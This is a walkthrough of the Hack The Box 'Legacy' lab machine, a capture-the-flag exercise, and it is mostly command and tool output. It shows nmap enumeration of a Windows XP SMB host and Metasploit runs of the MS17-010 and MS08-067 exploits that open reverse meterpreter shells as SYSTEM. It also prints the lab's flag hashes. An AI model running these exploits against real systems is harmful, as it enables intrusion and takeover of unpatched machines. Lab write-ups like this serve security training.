HTB - Legacy
Overview
Legacy is a fairly straightforward beginner-level machine which demonstrates the potential security risks of SMB on Windows. Only one publicly available exploit is required to obtain administrator access.
Info gathering
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sudo nmap -sS -A -Pn --min-rate 10000 -p- legacy
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
Host script results:
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:03:d2 (VMware)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| OS CPE: cpe:/o:microsoft:windows_xp::-
| Computer name: legacy
| NetBIOS computer name: LEGACY\x00
| Workgroup: HTB\x00
|_ System time: 2024-01-17T21:47:25+02:00
|_clock-skew: mean: 5d00h57m39s, deviation: 1h24m50s, median: 4d23h57m39s
Initial foothold
We can only see the out-of-date SMB2 service using Windows XP listening on port 445. We don’t know SMB’s version yet, but we can find it by using Nmap NSE scripts:
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$ sudo nmap -p 139,445 -script smb* -T4 --min-rate 10000 legacy
PORT STATE SERVICE
139/tcp open netbios-ssn
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
445/tcp open microsoft-ds
|_smb-enum-services: ERROR: Script execution failed (use -d to debug)
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-flood: ERROR: Script execution failed (use -d to debug)
| smb-mbenum:
| Master Browser
| LEGACY 5.1
| Potential Browser
| LEGACY 5.1
| Server service
| LEGACY 5.1
| Windows NT/2000/XP/2003 server
| LEGACY 5.1
| Workstation
|_ LEGACY 5.1
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-protocols:
| dialects:
|_ NT LM 0.12 (SMBv1) [dangerous, but default]
| smb-vuln-cve2009-3103:
| VULNERABLE:
| SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)
| State: VULNERABLE
| IDs: CVE:CVE-2009-3103
| Array index error in the SMBv2 protocol implementation in srv2.sys in Microsoft Windows Vista Gold, SP1, and SP2,
| Windows Server 2008 Gold and SP2, and Windows 7 RC allows remote attackers to execute arbitrary code or cause a
| denial of service (system crash) via an & (ampersand) character in a Process ID High header field in a NEGOTIATE
| PROTOCOL REQUEST packet, which triggers an attempted dereference of an out-of-bounds memory location,
| aka "SMBv2 Negotiation Vulnerability."
|
| Disclosure date: 2009-09-08
| References:
| http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3103
|_smb2-capabilities: SMB 2+ not supported
| smb-security-mode:
| account_used: <blank>
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb-brute:
|_ No accounts found
| smb-enum-shares:
| note: ERROR: Enumerating shares failed, guessing at common ones (Could not negotiate a connection:SMB: Failed to receive bytes: EOF)
| account_used: <blank>
| \\10.10.10.4\ADMIN$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
| Anonymous access: <none>
| \\10.10.10.4\C$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
| Anonymous access: <none>
| \\10.10.10.4\IPC$:
| warning: Couldn't get details for share: NT_STATUS_ACCESS_DENIED
|_ Anonymous access: READ
|_smb-print-text: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
Nmap done: 1 IP address (1 host up) scanned in 334.03 seconds
Nmap’s output suggest us to try some known vulnerabilities: ms17-010 and MS08-067. We can try exploiting both via Metasploit.
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$ msfconsole -q
msf6 > search ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 10.10.10.4 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST tun0 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.4:445 - Target OS: Windows 5.1
[*] 10.10.10.4:445 - Filling barrel with fish... done
[*] 10.10.10.4:445 - <---------------- | Entering Danger Zone | ---------------->
[*] 10.10.10.4:445 - [*] Preparing dynamite...
[*] 10.10.10.4:445 - [*] Trying stick 1 (x86)...Boom!
[*] 10.10.10.4:445 - [+] Successfully Leaked Transaction!
[*] 10.10.10.4:445 - [+] Successfully caught Fish-in-a-barrel
[*] 10.10.10.4:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] 10.10.10.4:445 - Reading from CONNECTION struct at: 0x864f5988
[*] 10.10.10.4:445 - Built a write-what-where primitive...
[+] 10.10.10.4:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.10.4:445 - Selecting native target
[*] 10.10.10.4:445 - Uploading payload... xyFehbpY.exe
[*] 10.10.10.4:445 - Created \xyFehbpY.exe...
[+] 10.10.10.4:445 - Service started successfully...
[*] Sending stage (175686 bytes) to 10.10.10.4
[*] 10.10.10.4:445 - Deleting \xyFehbpY.exe...
[*] Meterpreter session 1 opened (10.10.14.15:4444 -> 10.10.10.4:1032) at 2024-01-12 19:27:30 +0000
Let’s check what account we have in our hands:
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meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
We have shell directly as NT AUTHORITY\SYSTEM so we don’t need to perform any privilege escalation; that means that we can get both flags:
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meterpreter > cat "Documents and Settings\john\Desktop\user.txt"
e69af0e4f443de7e36876fda4ec7644f
meterpreter > cat "Documents and Settings\Administrator\Desktop\root.txt"
993442d258b0e0ec917cae9e695d5713
Let’s check Nmap’s second suggestion out of curiosity:
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msf6 > search MS08-067
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms08_067_netapi 2008-10-28 great Yes MS08-067 Microsoft Server Service Relative Path Stack Corruption
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi
msf6 > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.10.10.4 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The SMB service port (TCP)
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Targeting
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/ms08_067_netapi) > run
[*] Started reverse TCP handler on 10.10.14.15:4444
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 10.10.10.4
[*] Meterpreter session 2 opened (10.10.14.15:4444 -> 10.10.10.4:1033) at 2024-01-12 19:39:44 +0000
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Both exploits work!
This post is licensed under CC BY 4.0 by the author.